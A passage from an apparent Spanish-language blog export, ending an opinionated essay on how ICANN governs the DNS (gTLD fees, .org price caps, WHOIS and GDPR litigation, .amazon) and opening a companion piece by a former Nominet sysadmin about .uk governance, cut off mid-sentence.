resolverse.\nEl departamento jurídico de una sola sociedad, en un solo tribunal estadounidense, quitó doce millones y medio de nombres de la internet. Ningún organismo de gobernanza en la historia del DNS ha ejercido nunca tanta autoridad sobre el espacio de nombres, y no lo hizo a través de la gobernanza.\nQue es la tercera vez en este artículo que la respuesta a «qué es lo que aplica realmente algo aquí» resulta ser un tribunal en California — y la segunda vez que la aplicación fue una parte privada actuando en su propio interés comercial, que en esa ocasión coincidía con el de todos los demás.\nY .uk es un ccTLD también. La misma ausencia de todo contrato que rija cómo se opera la zona, la misma ausencia de Especificación 6, la misma libertad de ponerle un comodín o regalar el espacio de nombres. No hizo ninguna de las dos. Hizo funcionar un proceso de abuso en su lugar.\nQue es donde la división bien pulcra deja de ser pulcra, y vale la pena reventarla a propósito.\nNominet no hace funcionar solo .uk. Hace funcionar dominios de primer nivel genéricos también — los suyos, y varias docenas más por cuenta de otros operadores — y para esos firma el acuerdo de registro de la ICANN como todo el mundo, Especificación 6 y monitorización continua incluidas. En su propia plataforma la zona no contratada estaba superada en número por unos treinta a uno.\nAsí que los requisitos de la ICANN llegaron a .uk de todos modos. No por autoridad, que no tenía, sino porque nadie hace funcionar sensatamente dos regímenes operativos en paralelo para preservar una exención para una sola zona. Construyes la cosa estricta una vez y haces funcionar todo sobre ella.\nEs la misma forma que el problema de la OFAC de antes: el alcance formal de la ICANN se para en el contrato, y su alcance real sigue más allá de él, propagado por operadores para quienes cumplir en todas partes es más barato que mantener la distinción. El conjunto de registros efectivamente gobernados por la ICANN es materialmente mayor que el conjunto que ha firmado algo.\nEse parque, cómo era hacerlo funcionar, y qué le pasó a Nominet después es su propio artículo.\nLo que deja la pregunta a la que este artículo no para de llegar desde direcciones distintas: cuando los contratos no llegan, ¿qué es lo que realmente impide a un registro hacer lo que le plazca?\nUna continuación la responderá desde dentro de Nominet — el pipeline de publicación, el EPP (el protocolo que los registradores usan para crear y cambiar nombres en un registro) y la economía de debajo, la firma a escala de registro, y quién puede realmente quitar un nombre. Este artículo trata de la capa de encima, y la capa de encima no sale bien parada.\nEl dinero El siguiente cargo es más simple y necesita menos interpretación.\nEl producto que inventaron En 2012 la ICANN abrió las solicitudes para nuevos dominios de primer nivel genéricos. Cualquiera podía solicitar hacer funcionar una nueva cadena a la derecha del punto, por una cuota de evaluación en gran parte no reembolsable de $185 000.\nRecibió 1 930 solicitudes. Eso son más de 350 millones de dólares en cuotas de evaluación, cobradas antes de que se delegara una sola cadena. Los solicitantes que se retiraron pronto recuperaron una parte en una escala decreciente; la gran mayoría se quedó.\nLa ICANN describió la cuota como recuperación de costes.\nLuego, donde dos solicitantes querían la misma cadena y no se arreglaban en privado, la ICANN la subastó entre ellos y se quedó el producto, que llegó a otros $240 590 128. Así que el programa te cobraba por solicitar, y te cobraba de nuevo por ganar.\nHazte la pregunta que debería haberse hecho en 2008: ¿qué problema resolvía esto?\nEl caso declarado era competencia, elección e innovación. Catorce años después, los resultados son medibles. Alrededor de 1 200 cadenas se delegaron. En agosto de 2026 hay 1 112 nuevos gTLD que tienen unos 48,7 millones de dominios entre ellos — frente a .com solo, con más de diez veces eso. El monopolio en pie no se perturbó lo más mínimo. Tuvo una subida de precio en su lugar.\nEl argumento de la elección falla sobre sus propias pruebas. El 34 % de las solicitudes de 2012 eran para cadenas .marca — una empresa solicitando su propia marca registrada, en gran parte para que nadie más pudiera tenerla. Esas no son nuevas elecciones para nadie. Muchas nunca se usaron en absoluto. McDonald\u0026rsquo;s nunca lanzó .mcdonalds. Intel tomó entrega de .intel en julio de 2016 y lo rescindió en noviembre de 2020, Symantec abandonó .symantec dos meses antes, y SC Johnson solicitó ocho cadenas — .scjohnson, .raid, .glade, .off, .duck entre ellas — y luego rescindió el lote en enero de 2022. Seis años después de la ventana de solicitud, más de uno de cada diez nuevos gTLD todavía no se había lanzado, 144 no habían alcanzado un periodo de lanzamiento anticipado, y L\u0026rsquo;Oréal estaba sentado sobre cadenas para las que nunca había anunciado ningún plan.\nEso es un montón de espacio de nombres muerto. Aquí está por qué no le molesta a la ICANN.\nBajo el acuerdo de registro base un operador de gTLD paga a la ICANN una cuota fija de $25 000 al año, más $0,25 por registro — pero solo una vez que el TLD pasa las 50 000 transacciones en un trimestre. Por debajo de ese umbral no hay cuota de transacción en absoluto.\nLee lo que eso significa. El ingreso de la ICANN de un dominio de primer nivel con cero nombres dentro es exactamente el mismo que el de uno con cuarenta mil: $25 000 al año, cada año, por una delegación que nadie usa. Una cadena muerta no es un fracaso en los libros de la ICANN. Es una renta sin carga de soporte.\nNo había ninguna razón financiera para que a la ICANN le importara si algo de esto funcionaba, y es difícil encontrar prueba de que le importara.\nLo que la internet obtuvo en su lugar El programa sí produjo un efecto medible, y no es el del prospecto.\nLas nuevas cadenas que sí se vendieron, se vendieron por precio. Registros sin marca y sin demanda natural compitieron de la única forma disponible para ellos, a un dólar o menos el nombre, en masa, con verificaciones mínimas. Eso es un producto, y encontró su mercado.\nEl estudio Cybercrime Supply Chain 2025 de Interisle encontró que los nuevos gTLD llevaban el 47 % de los dominios de ciberdelito reportados mientras constituían el 12 % del mercado de dominios — una sobrerrepresentación de unas seis veces. El mismo estudio registró 19,5 millones de dominios únicos usados en ataques, un 126 % más de un año a otro, con 7,3 millones de ellos registrados en masa. El factor común que identifica en los dominios más abusados es que son baratos.\nLa ICANN no creó el phishing. Pero fabricó 1 200 sitios nuevos desde los que hacerlo, fijó la entrada de modo que la única estrategia viable para la mayoría era el volumen a coste casi cero, y tomó una cuota fija de cada uno independientemente de lo que saliera.\nEl fracaso estrella del propio programa hace el punto mejor que cualquier estadística. .sucks se delegó a Vox Populi, que cobraba a los titulares de marcas $2 499 el nombre durante el lanzamiento anticipado — un precio fijado exactamente porque las marcas tendrían que pagarlo para impedir a otro. La respuesta de la ICANN fue denunciar el registro a la Federal Trade Commission estadounidense por precios predatorios. La FTC constató que no se había roto ninguna regla, y observó que la ICANN ya había ignorado varias preocupaciones que la FTC había planteado sobre el programa de nuevos gTLD.\nEsa es toda la cosa en un episodio. La ICANN diseña el programa, ignora las advertencias del regulador sobre él, delega la cadena, toma la cuota, y luego se queja al regulador del resultado predecible.\nLas solicitudes para la siguiente ronda abrieron en 2026. La cuota es de $227 000.\nLas cadenas demasiado peligrosas para delegar Una cosa más que el programa produjo, y esta es para cualquiera que haya construido nunca una red interna.\nLas organizaciones siempre se han inventado dominios de primer nivel para uso interno, suponiendo que un nombre que no existe públicamente nunca existirá. .corp. .home. .mail. .local. Elige algo, ponlo en tu Active Directory, nadie de fuera puede verlo.\nLa ronda de 2012 propuso delegar algunos de esos de verdad, momento en que cada una de esas suposiciones privadas se vuelve un problema de seguridad vivo: nombres internos empiezan a resolverse a los servidores de otro, consultas que solían fallar empiezan a filtrar tu estructura interna a un registro, y certificados emitidos para nombres internos se vuelven certificados para nombres que un desconocido controla ahora.\nNadie había verificado. Solo salió a la superficie porque unos investigadores midieron lo que realmente se le pedía a la raíz, y encontraron que .home y .corp estaban entre las cadenas más consultadas que existen — nombres muy usados que nunca se habían delegado a nadie. El propio Security and Stability Advisory Committee de la ICANN lo planteó en 2013, después de que las solicitudes estuvieran puestas.\n.corp, .home y .mail nunca se han delegado. Siguen aplazados, indefinidamente, porque delegarlos rompería demasiado. Tres cadenas que se solicitaron y se pagaron resultaron ser demasiado peligrosas para existir.\nEse es un programa que expandió la raíz sin establecer primero con qué colisionaría la expansión, y lo descubrió después a partir de las mediciones de otras personas. Si quieres el extremo práctico de esto, es la razón por la que inventarse un TLD interno es una mala idea — el espacio de nombres que te inventaste solo es privado hasta que alguien lo vende.\nEl dinero de las subastas Entre junio de 2014 y julio de 2016 esas subastas de contención cobraron esos $240 590 128, unos 233 millones de dólares después de los costes de subasta.\nEste es dinero obtenido vendiendo trozos de un espacio de nombres que la ICANN no posee y tiene en fideicomiso. Hay una respuesta defendible a lo que debería pasar con él, y la comunidad montó un grupo de trabajo intercomunitario para encontrar una.\nMientras ese grupo de trabajo seguía sentado, el consejo de la ICANN tomó 36 millones de dólares del producto y los metió en el propio fondo de reserva de la ICANN, que iba 68 millones de dólares por debajo de su objetivo. No propuesto — aprobado. Y cuando la comunidad objetó, la posición que se le presentó fue que la alternativa era que la ICANN subiera las cuotas.\nEl grupo de trabajo siguió a pesar de todo. El consejo no adoptó sus recomendaciones hasta junio de 2022 — seis años después de la última subasta, durante los cuales la ICANN retuvo un cuarto de mil millones de dólares del dinero de otras personas y se sirvió de 36 millones de dólares mientras la gente que decidía para qué era seguía en la sala.\nLos topes de precio de .org En marzo de 2019 la ICANN propuso renovar el acuerdo de registro .org con los topes de precio retirados. Los topes eran la cosa que impedía al operador de .org cobrar lo que le placiera a las asociaciones, ONG y organismos sin ánimo de lucro a los que se les había dicho durante veinte años que .org era donde tenían su sitio.\nEl comentario público corrió. 3 252 comentarios opuestos al retiro. Seis a favor. La oposición incluía a NPR, el YMCA, C-SPAN, la National Geographic Society, la AARP y el National Trust for Historic Preservation — no los comentaristas habituales de la industria del dominio, sino precisamente la circunscripción para la que existe .org.\nEl 1 de julio de 2019 la ICANN firmó el acuerdo. Sin anuncio público. La comparación del texto firmado con el texto propuesto no mostró ningún cambio hecho en respuesta al periodo de comentario. No «algunas preocupaciones tratadas» — el mismo documento.\nSi un proceso de comentario público puede correr 542 a 1 en contra y no cambiar ni una palabra, no es una consulta. Es una formalidad que produce un rastro de papel.\nLuego la venta En noviembre de 2019, cuatro meses después, la Internet Society anunció que vendía Public Interest Registry — el operador sin ánimo de lucro de .org — a Ethos Capital, una firma de capital privado, por 1 135 millones de dólares.\nEl retiro del tope de precio es lo que hizo a PIR valer 1 135 millones de dólares. Un registro que no puede subir los precios es una renta. Un registro que puede es un activo de crecimiento. La ICANN había convertido el segundo en el primero cuatro meses antes, contra una objeción unánime, y el mercado lo había cifrado de inmediato.\nEthos Capital se había establecido en mayo de 2019. El dominio ethoscapital.com se registró el 8 de mayo de 2019 por Fadi Chehadé, el antiguo director general de la ICANN — la semana del plazo para que el personal de la ICANN publicara su informe sobre el retiro de los topes de precio. Su nombre no aparecía en ningún sitio del sitio web de Ethos Capital cuando se anunció el acuerdo. Su implicación se hizo pública gracias a los datos WHOIS — el registro público de quién posee un dominio, del que trata la sección siguiente — y la ironía se escribe sola. Ethos luego confirmó que había asesorado en la transacción, y en julio de 2020 se convirtió en su codirector general.\nLa ICANN acabó bloqueando la venta, en abril de 2020. Es justo anotarlo. También es justo anotar lo que la precedió: meses de la ICANN insistiendo en que el asunto estaba sobre todo fuera de su competencia, una campaña pública sostenida, cartas de senadores estadounidenses, y por fin una carta del fiscal general de California advirtiendo a la ICANN contra el acuerdo y citando la falta de transparencia en torno a Ethos Capital.\nLa ICANN no fue el salvaguarda aquí. La ICANN retiró los topes que crearon la oportunidad, y fue ella misma parada, en el último minuto, por un oficial de justicia de un Estado — que es una demostración más de que el verdadero mecanismo de rendición de cuentas de este sistema es la jurisdicción californiana en vez de cualquier cosa de los estatutos.\nEl arreglo de Verisign Este es el mismo contraparte que el comodín, quince años después. En octubre de 2018 la NTIA y Verisign firmaron la Enmienda 35 al Cooperative Agreement, levantando el congelamiento de precio de .com y permitiendo subidas del 7 % al año en cuatro años de cada seis.\nEsa fue la decisión del gobierno estadounidense, no la de la ICANN. Pero las subidas todavía necesitaban que el acuerdo de registro .com se enmendara, y eso es de la ICANN. En marzo de 2020 la ICANN acordó la Enmienda 3 — y junto a ella una Letter of Intent vinculante bajo la cual Verisign paga a la ICANN 20 millones de dólares a lo largo de cinco años desde el 1 de enero de 2021, por trabajo de seguridad y estabilidad.\nLas dos cosas se negociaron antes de que abriera el comentario público. El periodo de comentario corrió, fue abrumadoramente hostil, y no cambió nada — el mismo patrón que .org, en la misma ventana, con el mismo resultado.\nToma la estructura tal como es. El organismo que decide si un monopolista puede subir los precios negoció, al mismo tiempo y con el mismo contraparte, un pago a sí mismo. El comentario público vino después y era decorativo. Sea lo que sea en lo que se gasta el dinero, un arreglo en el que el regulador es pagado por el regulado en la misma transacción que la subida de precio es uno en el que ningún regulador competente entraría, y la palabra a la que los comentaristas echaron mano en su momento — soborno — es la evidente.\nEl .com mayorista ha pasado de $7,85 a $10,26 sobre esa base, sobre un nombre sin necesidad técnica de una subida de precio y sin competidor al que un titular pueda moverse.\nOcho países contra una empresa Si quieres un solo episodio que muestre a quién responde realmente la ICANN, es .amazon, y duró siete años.\nAmazon la empresa solicitó .amazon en la ronda de 2012. La Amazon Cooperation Treaty Organization objetó — Bolivia, Brasil, Colombia, Ecuador, Guyana, Perú, Surinam y Venezuela, ocho Estados soberanos cuyo territorio describe el nombre y en los que viven unos 30 millones de personas. Su posición era que un nombre geográfico y cultural compartido no debería convertirse en propiedad privada de una empresa.\nUsaron el canal que la ICANN provee a los gobiernos. El Governmental Advisory Committee (GAC) emitió un dictamen de consenso contra la solicitud, y en mayo de 2014 el consejo de la ICANN lo aceptó. Los Estados habían ganado, por el mecanismo diseñado para exactamente esto.\nAmazon presentó una reclamación en Independent Review Process (IRP).\nEn 2017 el panel del IRP falló a favor de Amazon. Constató que el consejo había actuado de forma incompatible con los propios estatutos de la ICANN, sostuvo que el consejo no puede tratar el dictamen de consenso del GAC como concluyente, le ordenó reevaluar las solicitudes sobre el fondo, y ordenó a la ICANN reembolsar a Amazon $163 045,51 de costes.\nEn mayo de 2019 la ICANN concluyó que no había razón de política pública para que las solicitudes no procedieran. Amazon obtuvo .amazon.\nLee la estructura en vez del resultado, porque el resultado es discutible y la estructura no.\nLos gobiernos tienen el GAC, y el GAC aconseja. Una empresa tiene el Independent Review Process, y el IRP produce una declaración vinculante, una directiva al consejo, y una atribución de costes. Cuando esos dos canales se toparon de frente, la conclusión del panel fue explícitamente que el gubernamental no es concluyente.\nAsí que la ICANN sí tiene un mecanismo de rendición de cuentas que funciona. Funcionó. Lo usó con éxito una de las empresas más grandes de la tierra para revertir la objeción colectiva de ocho países, y la ICANN pagó sus costes jurídicos por el privilegio.\nEse es el mismo hecho que el problema de la jurisdicción de antes en este artículo, con ropa distinta. Los mecanismos son reales, y están moldeados para que las partes que pueden permitirse operarlos sean las que sacan resultados de ellos. Ocho gobiernos no pudieron hacer que el canal consultivo se mantuviera. Una empresa hizo funcionar el canal jurídico en tres años.\nLa pelea del RGPD: qué hace la ICANN cuando una ley se le aplica La prueba más fuerte sobre una institución no es su declaración de misión. Es lo que hace la primera vez que una regla que no escribió se le aplica en su contra.\nPara la ICANN ese momento fue el RGPD, y el registro es inequívoco.\nA la ICANN no le faltó aviso. Tenía, según el recuento de The Register, más de una década de cartas diciéndole que el WHOIS — publicar el nombre, la dirección postal, el correo y el teléfono de cada titular de dominio, a cualquiera, sin control de acceso — era incompatible con el derecho europeo de protección de datos. El RGPD en sí se adoptó en 2016 con un plazo de dos años precisamente para que las organizaciones pudieran prepararse. La ICANN llegó a mayo de 2018 sin modelo conforme.\nLo que hizo en su lugar, en abril de 2018, fue ir a Bruselas y pedir al Grupo de Trabajo del Artículo 29 una moratoria de un año sobre la aplicación, más el permiso de seguir publicando las direcciones de correo de los titulares entretanto.\nSiéntate con lo que esa petición es realmente. No una prórroga para presentar papeles. Una petición de que los reguladores europeos acepten no aplicar un reglamento de derecho fundamental contra una organización y sus partes contratantes mundiales, durante un año, porque esa organización no se había puesto a cumplirlo. No hay mecanismo en el RGPD para conceder esto. La protección de datos es un derecho fundamental bajo la Carta; ninguna autoridad de control ni el Comité Europeo de Protección de Datos tiene el poder de suspenderla para un solo responsable del tratamiento. La ICANN no pedía una concesión que se le estuviera negando. Pedía algo que no existe, aparentemente sin haber establecido si existía.\nEl WP29 rechazó las dos peticiones. El propio resumen de la reunión de la ICANN concedió que las direcciones de correo de los contactos titular, administrativo y técnico deben anonimizarse, y simplemente omitió toda mención de la moratoria que había pedido.\nLuego demandó.\nEl 25 de mayo de 2018, el día en que el RGPD entró en vigor, la ICANN presentó demanda contra EPAG — el registrador alemán de Tucows — en Bonn. EPAG había decidido dejar de recoger los datos de contacto Admin-C y Tech-C, sobre la base de que recoger datos personales que no tenía uso para era exactamente lo que el RGPD prohíbe. La posición de Tucows era que en la abrumadora mayoría de los registros el titular, el admin y el tech son de todos modos la misma persona, así que la recogida no solo era ilegal, era inútil.\nLa teoría jurídica de la ICANN era que la base «necesario para la ejecución de un contrato» del RGPD cubría la recogida, porque el propio contrato de la ICANN con el registrador lo exigía. Ese es un argumento notable: que una organización puede fabricar una base legal para tratar los datos personales de otros escribiendo una obligación de recogerlos en un contrato con un tercero. Si funcionara, el artículo 6(1)(b) sería una formalidad que cualquiera podría satisfacer redactando.\nNo funcionó. La ICANN perdió en Bonn. Apeló. Perdió de nuevo. En agosto de 2018 el tribunal de apelación de Colonia la rechazó por tercera vez, encontró convincentes las decisiones anteriores, sostuvo que no había una emergencia inminente que justificara una medida cautelar, y — esta es la parte que vale la pena leer dos veces — rechazó la petición de la ICANN de remitir la cuestión al Tribunal de Justicia de la Unión Europea sobre la base de que la interpretación jurídica de la ICANN no era determinante para la decisión. El tribunal no consideró el argumento lo bastante cercano como para valer la pena preguntar a Luxemburgo.\nLa ICANN gastó el dinero de los miembros intentando empujar el caso hacia ese tribunal de todos modos. En 2019 abandonó el WHOIS por completo.\nEl resultado técnico era correcto — el WHOIS tal como existía no debería haber existido. Pero mira cómo se alcanzó. Diez años de avisos ignorados. Una petición de exención de un derecho fundamental. Un litigio contra su propia parte contratante, presentado el día en que la ley entró en vigor, para establecer que la ley no se aplicaba de la forma en que los reguladores decían que se aplicaba. Tres derrotas. Luego la capitulación.\nEsa no es una organización que malinterpretó un texto legal. Es una organización que no aceptó, hasta que los tribunales se lo dijeron tres veces, que la ley le estaba dirigida siquiera.\nLo que le costó a todos los demás La mayor parte de este artículo trata de lo que la ICANN y los registros hicieron. Esto trata de quién pagó por ello, porque muy rara vez fueron ellos.\nCada titular de .com de la tierra paga la subida. El .com mayorista pasó de $7,85 a $10,26. El propio informe de Verisign sitúa la base .com en 163,6 millones de nombres a 31 de marzo de 2026. Multiplica los dos y esa subida vale del orden de 394 millones de dólares al año, tomados de cada titular de un .com en cualquier parte del mundo, por un nombre que no necesitaba ningún cambio técnico para justificarla. Un negocio en Lagos o Manila paga la misma subida que uno en Palo Alto, decidida por una agencia estadounidense y un organismo sin ánimo de lucro estadounidense que tomó 20 millones de dólares del beneficiario en la misma negociación.\nLa decisión de .org aterriza sobre las asociaciones de todo el mundo. .org se le vendió al sector sin ánimo de lucro durante veinte años como la parte del espacio de nombres que les pertenecía. Levantar los topes era una decisión de que quienquiera que lo haga funcionar puede cobrarles lo que el tráfico soporte. NPR y el YMCA pueden absorber eso. Una ONG pequeña trabajando con una subvención no puede, y tampoco se le preguntó — 3 252 en contra, seis a favor, firmado sin una palabra cambiada.\nLa carga del abuso la lleva todo el que hace funcionar un servidor de correo. Los nuevos gTLD son el 12 % del mercado y el 47 % de los dominios de ciberdelito reportados. Cada uno de esos nombres llega a la bandeja de entrada de otro, la cola de abuso de otro, las pérdidas por fraude de otro. La ICANN cobró $185 000 por solicitud y cobra $25 000 al año por cadena independientemente. El coste de lo que las cadenas baratas luego produjeron cae sobre cada operador de correo, cada banco, cada equipo de seguridad y cada persona engañada por una página de phishing. Esa es una externalidad en el sentido del manual, y el programa se diseñó sin una línea sobre quién la cargaría.\nSite Finder rompió la semántica de fallo del planeta entero de una vez. Esto vale la pena decirlo claro porque es fácil leerlo como una historia estadounidense. Hay una raíz y un .com. Cuando Verisign cambió lo que hace un nombre inexistente, lo cambió para cada red de la tierra simultáneamente — incluyendo cada red sin relación con Verisign, sin voz en la decisión, y sin salida salvo parchear sus propios resolutores, que es lo que un gran número de ellas acabó haciendo.\nEl WHOIS se apagó para la gente que lo usaba contra el abuso. Los dos daños aquí son reales y los dos eran evitables. Publicar el nombre, la dirección, el correo y el teléfono de cada titular a cualquiera que lo pidiera era un daño genuino, de décadas, a gente de todo el mundo, y el RGPD tenía razón sobre ello. Pero la ICANN tuvo más de diez años de aviso y ningún plan, así que mayo de 2018 no fue un paso gestionado a un acceso por niveles. Fue un apagón brusco. Los investigadores antiabuso, los equipos de seguridad y las fuerzas del orden, incluyendo bastante fuera de Europa, perdieron una herramienta que funcionaba de la noche a la mañana porque la ICANN pasó el plazo litigando en vez de construir el reemplazo. La exposición de antes y el vacío de después pertenecen los dos al mismo fallo de preparación.\nY 12,6 millones de nombres dejaron de resolverse. El colapso de Freenom fue un buen resultado para las cifras de phishing. No fue un buen resultado para todo el que usaba un .tk o .ml gratis porque no podía permitirse $10 al año, y había un gran número de esos, desproporcionadamente en lugares donde $10 no es nada. Cuando el único espacio de nombres gratis de la internet es también el más abusado, la gente que lo pierde cuando se va no son los criminales. Se mudaron a la siguiente cosa barata la semana después.\nLa forma es constante. Las decisiones se toman en California, el ingreso se cobra en California, y los costes se distribuyen mundialmente a gente sin voto, sin contrato y sin tribunal al que puedan llegar.\nY solo en tribunales estadounidenses Ahora que el registro está puesto, vuelve al punto de la jurisdicción del principio de este artículo, porque hace más trabajo que la constitución.\nTodo el mundo en el mundo está sujeto a lo que la ICANN decide. La gente que puede hacer algo al respecto son los que pueden litigar en California.\nConsidera a quién deja fuera eso. Un operador de ccTLD en Camerún. Un titular en Teherán cuyo dominio se cayó porque un registrador sobreaplicó la OFAC que nunca lo ató. Un registrador en Bonn — que es exactamente por lo que la pelea entre la ICANN y EPAG tuvo que llevarse como un caso alemán sobre derecho alemán, y no como un asunto de rendición de cuentas de la ICANN en absoluto. Cualquier registro pequeño que no pueda financiar un abogado estadounidense para argumentar un punto de derecho californiano de organismos sin ánimo de lucro contra una organización con un presupuesto de nueve cifras.\nLuego considera a quién deja entrar. Cada intervención de este artículo que de verdad cambió algo:\nSite Finder terminó cuando la ICANN amenazó el contrato de Verisign — y la respuesta de Verisign fue demandar en un tribunal estadounidense, y salir del acuerdo con un .com renovado. La venta de .org se paró después de que el fiscal general de California enviara una carta. Freenom paró porque Meta demandó en el Northern District of California, y 12,6 millones de nombres se apagaron detrás. .amazon fue a Amazon porque Amazon llevó a la ICANN a través de su propio Independent Review Process y se le atribuyeron costes. Cuatro intervenciones que funcionaron. Cuatro actores estadounidenses — un oficial de justicia de un Estado y tres empresas. Ninguna de ellas una vía disponible para nadie fuera de los Estados Unidos, y en tres de las cuatro la cosa que se movió fue el interés comercial de una empresa privada, que en esas ocasiones apuntaba en el mismo sentido que el de todos los demás.\nLa comunidad sí planteó esto. Un subgrupo de jurisdicción del grupo de trabajo sobre rendición de cuentas pasó el Work Stream 2 en ello y produjo recomendaciones que dejaron las cosas más o menos donde las encontraron, lo que no es sorprendente dado que la propuesta de transición ya había excluido del alcance el único cambio que contaba antes de que nadie se sentara.\nAsí que la gobernanza mundial multipartita se resuelve, en el único sitio donde puede ponerse a prueba, a esto: puedes litigar en California, si te lo puedes permitir.\nLo que el registro muestra realmente Ponlos juntos, porque por separado cada uno tiene una excusa y juntos no la tienen.\nUna organización a la que tuvieron que decirle tres veces tribunales alemanes que el derecho europeo se le aplicaba, habiendo primero pedido a los reguladores de esos tribunales que simplemente no lo aplicaran.\nUna organización que inventó un producto que nadie había pedido, tomó más de 350 millones de dólares en cuotas para examinar las solicitudes de él, otros 240 millones subastando las disputadas, y ahora cobra $25 000 al año de dominios de primer nivel sin nada dentro — mientras las cadenas que sí se vendieron se convirtieron en el sitio más barato de la internet para comprar un dominio de phishing.\nUna organización cuyo proceso de comentario público ha corrido 542 a 1 en contra y no alteró ni una palabra del documento sobre el que consultaba.\nUna organización que levantó los topes de precio del espacio de nombres sin ánimo de lucro cuatro meses antes de que el vehículo de capital privado de su antiguo director general ofreciera 1 135 millones de dólares por él, y que tuvo que ser parada por un fiscal general de un Estado en vez de por ningún mecanismo propio.\nUna organización que tomó 20 millones de dólares del registrador en situación de monopolio en la misma negociación que dejó al registrador en situación de monopolio subir los precios, y abrió el comentario público después.\nUna organización que se sirvió de 36 millones de dólares de dinero que tenía en fideicomiso, mientras el grupo que decidía para qué era ese dinero seguía sentado.\nY una organización que zanjó una demanda del registro que había secuestrado las dos zonas más grandes de la internet entregándole a ese registro un contrato renovado para .com.\nUna organización cuyo único mecanismo de rendición de cuentas que funciona lo usó una empresa de un billón de dólares para revertir la objeción unánime de ocho países, con costes atribuidos contra la ICANN.\nUna organización que llegó a un informe de comité de delegar .corp y .home a desconocidos, y descubrió lo que eso rompería a partir de las mediciones de otras personas.\nEl hilo constante no es la incompetencia. La incompetencia es aleatoria. Esto es direccional: cada uno de estos fue en el sentido de los titulares en pie, del dinero, y del propio interés institucional de la ICANN, y los mecanismos de participación — periodos de comentario, grupos de trabajo, comunidades dotadas de poderes — produjeron documentación en vez de resultados.\nY este es el cuerpo que fija la política del fichero. No un organismo de normalización, no un tribunal, nada que hayas elegido. Un organismo sin ánimo de lucro californiano con un registro de gobernanza así, sentado encima de 1,5 megabytes de texto contra los que cada red de la tierra se resuelve.\nLa única cosa entre ese registro y el fichero es que la ICANN no tiene la pluma. Tiene que pedir. Todo lo de arriba es lo que hace una organización cuando todavía tiene que pedir — así que la pregunta que vale la pena llevarse no es si la ICANN se porta bien. Claramente no. Es qué mantiene el pedir en su sitio, dado que nadie lo escribió y la parte a la que se le pide ya está en la nómina.\n","permalink":"https://blogs.damiendye.uk/es/dns/who-actually-controls-dns/","summary":"La raíz de la internet es un fichero de texto de 1,5 MB que una sola empresa estadounidense edita y firma. Quién controla de verdad el DNS, qué cambió y qué no la transición de la IANA de 2016, y el registro documentado de cómo la ICANN ha usado ese control.","title":"Quién controla realmente el DNS"},{"content":"Fui administrador de sistemas del registro DNS en Nominet, el registro .uk, de 2017 a 2019 — dentro del edificio mientras subía la presión que produjo la revuelta de 2021. El voto en sí vino después de irme, y esa parte es del dominio público, enlazada como de costumbre. Donde hablo de a qué se parecía desde dentro, lo digo.\nEl artículo compañero de este trata de ICANN, y no para de llegar a la misma pregunta desde direcciones distintas: cuando nadie tiene un contrato sobre un registro, ¿qué hace de verdad que se comporte?\n.uk es un buen sitio para responder eso, porque nadie lo tiene. No hay acuerdo de registro de ICANN sobre él, ni Especificación 6, ni función de cumplimiento, ni vigilancia externa, ni regulador en el sentido ordinario. Ofcom no lo lleva. El gobierno no lo lleva.\nSus miembros sí. Y en marzo de 2021 se sirvieron de ello.\nQué es Nominet en realidad Nominet es una sociedad limitada por garantía. No tiene accionistas. Tiene miembros — registradores y otras partes interesadas que pagan una cuota y obtienen un voto — y se montó para llevar .uk por el beneficio público en vez de por el lucro.\nEsa estructura es toda la historia. Una sociedad sin dueños que enriquecer aun así ingresa dinero, y un registro que lleva un espacio de nombres nacional sin competidor ingresa mucho. Para qué sirve ese superávit es una pregunta a la que la constitución responde vagamente y el consejo responde en la práctica.\nLos miembros son el único freno. No hay nada más. Lo cual está muy bien mientras las respuestas cuadran, y se vuelve todo el juego cuando dejan de hacerlo.\nEl parque, desde dentro Aquí está la parte que la gente fuera de un registro rara vez se imagina, y cuenta para todo lo que viene después.\nNominet nunca fue solo .uk. Mientras estuve ahí la plataforma llevaba:\n.uk, el dominio de código de país (ccTLD), bajo ningún contrato de ICANN en absoluto. .cymru y .wales, dominios de primer nivel genéricos (gTLD) que Nominet tiene en propio — y esos sí están bajo acuerdos de registro de ICANN. Los gTLD de otra gente. En abril de 2016 Minds + Machines le entregó a Nominet el back-end de hasta 28 de sus cadenas — .london, .work, .law, .fashion, .cooking entre ellas — lo que puso a Nominet en el primer rango de operadores de registro por número de TLD gestionados. Añade dot-brands como .bbc y .bentley. El papel de emergencia de ICANN. Nominet es uno de los Emergency Back-end Registry Operators de ICANN, las estructuras a las que ICANN le entrega un gTLD cuando se lo quita a quien lo llevaba. Se unió en 2014, y en diciembre de 2017 ICANN se sirvió de ello — Nominet se convirtió en operador interino de emergencia de .wed tras fallar el servicio de datos de registro de su operador. El extremo resolutor. Nominet construyó y llevó el Protective DNS para el National Cyber Security Centre (NCSC), el resolutor recursivo que consultan los organismos del sector público británico, que se niega a resolver los nombres conocidos por ser maliciosos. Vale una aclaración, porque «Nominet lleva .uk» es más flojo de lo que debería.\nNominet lleva el registro .uk y la mayor parte de lo que se sienta debajo — .co.uk, .org.uk, .me.uk y el .uk de segundo nivel en sí. Nunca lo ha llevado todo. .ac.uk pertenece a Jisc, sucesor de la red universitaria que nombró uk en primer lugar, que lo administra y registra nombres bajo él desde 1996. Durante los años que este artículo cubre, .gov.uk era también de Jisc — Nominet solo lo tomó en 2024, e incluso ahora las aprobaciones se sientan en el Central Digital and Data Office en vez del registro.\nVa más lejos que eso, y en una dirección que no adivinarías. Jisc también provee la administración de .gov.scot, y de .gov.wales y .llyw.cymru — ambos de los cuales viven dentro de .wales y .cymru, los dos dominios de primer nivel genéricos que Nominet tiene en propio. Nominet lleva esos TLD. Otro lleva el rincón de los gobiernos dentro de ellos.\nAsí que incluso dentro del espacio de nombres de un solo país la autoridad está repartida, y está repartida por la historia y la convención en vez de por el diseño de nadie.\nAsí que una sola organización se sentaba en cuatro relaciones distintas con el sistema de nombres a la vez. Enteramente fuera del alcance de ICANN para .uk. Dentro de él, bajo contrato y medida de continuo, para los gTLD. El instrumento al que ICANN echaba mano cuando necesitaba quitarle un dominio de primer nivel a otro. Y el resolutor que decidía qué tenía permitido consultar un ministerio.\nNada de eso es una contradicción. Es a lo que la estructura se parece de verdad una vez que dejas de leer organigramas y te pones a leer contratos. La autoridad aquí se adhiere a las delegaciones individuales, no a las empresas.\nDos regímenes, una plataforma Ahora el trozo que solo ves desde dentro, y es la razón por la que el parque importa en vez de ser un detalle.\nPara los gTLD, Nominet firma el acuerdo de registro de ICANN como cualquiera. La Especificación 6 aplica — sin comodines, sin respuestas sintetizadas. La Especificación 10 también, e ICANN mide el cumplimiento con ella de continuo desde 